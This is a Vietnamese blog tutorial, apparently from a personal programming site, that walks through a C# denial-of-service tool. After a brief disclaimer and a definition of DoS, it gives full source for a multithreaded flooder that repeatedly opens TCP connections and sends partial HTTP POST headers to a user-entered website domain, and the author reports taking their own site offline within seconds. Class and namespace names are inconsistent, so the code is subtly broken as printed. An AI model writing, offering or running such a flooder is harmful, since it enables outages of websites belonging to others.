Lập trình C# – Xây dựng tool tấn công DoS đơn giản

Rate this post

Bài viết này mang tính tham khảo, mình không ủng hộ việc áp dụng để phá hoại, tấn công website của người khác

DoS là gì?

“Dos” tên đầy đủ là “Denial Of Service” là một hình thức tấn công từ chối dịch vụ. Đây là hình thức tấn công khá phổ biến hiện nay, nó khiến cho máy tính mục tiêu không thể xử lý kịp các tác vụ và dẫn đến quá tải.

Xây dựng Tool

Lớp DoS:

using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Threading;

namespace DoS_Attack
{
    class DoS
    {
        public string target { get; set; }
        public int port { get; set; }
        public int threadNumber { get; set; }

        public DOS(string target, int port, int threadNumber)
        {
            this.target = target;
            this.port = port;
            this.threadNumber = threadNumber;
        }

        public void Attack()
        {
            List<Thread> threads = new List<Thread>();
            for(int i = 0; i < this.threadNumber; i++)
            {
                threads.Add(new Thread(Run));
            }

            int count = 1;
            foreach(Thread thread in threads)
            {
                thread.Start();
                Console.WriteLine($"Đã khởi tạo luồng {count++}");
            }
        }

        private void Run()
        {
            bool valid = true;
            while (valid)
            {
                try
                {
                    TcpClient client = new TcpClient();
                    client.NoDelay = true;
                    client.Connect(this.target, this.port);
                    StreamWriter stream = new StreamWriter(client.GetStream());
                    stream.Write($"POST / HTTP/1.1\r\nHost: {this.target}\r\nContent-length: 5000\r\n\r\n");
                    stream.Flush();
                    stream.Close();
                }
                catch (Exception ex)
                {
                    valid = false;
                    Console.WriteLine($"Exception: {ex.Message}\n");
                }
            }
        }
    }
}

Gọi thực thi:

using System;
using System.Text;

namespace DOS_Attack
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.OutputEncoding = UnicodeEncoding.Unicode;

            Console.WriteLine($"Tool tấn công DOS");
            Console.WriteLine("Author: phanxuanchanh.com\n\n");

            string target = null;
            int port = 80;
            int threads = 100;


            Console.Write("Nhập vào domain của website cần tấn công: ");
            target = Console.ReadLine();

            DOS dos = new DOS(target, port, threads);
            dos.Attack();
        }
    }
}

Thử nghiệm chương trình

Sau hơn 5 giây bật chương trình này lên, website của mình đã tạm thời không thể truy cập được nữa và hiện thông báo lỗi như trong hình

Mình xin kết thúc bài viết tại đây, cảm ơn các bạn đã xem bài viết này!

Hãy để lại góp ý trong phần bình luận.

Hits: 50

Leave a Reply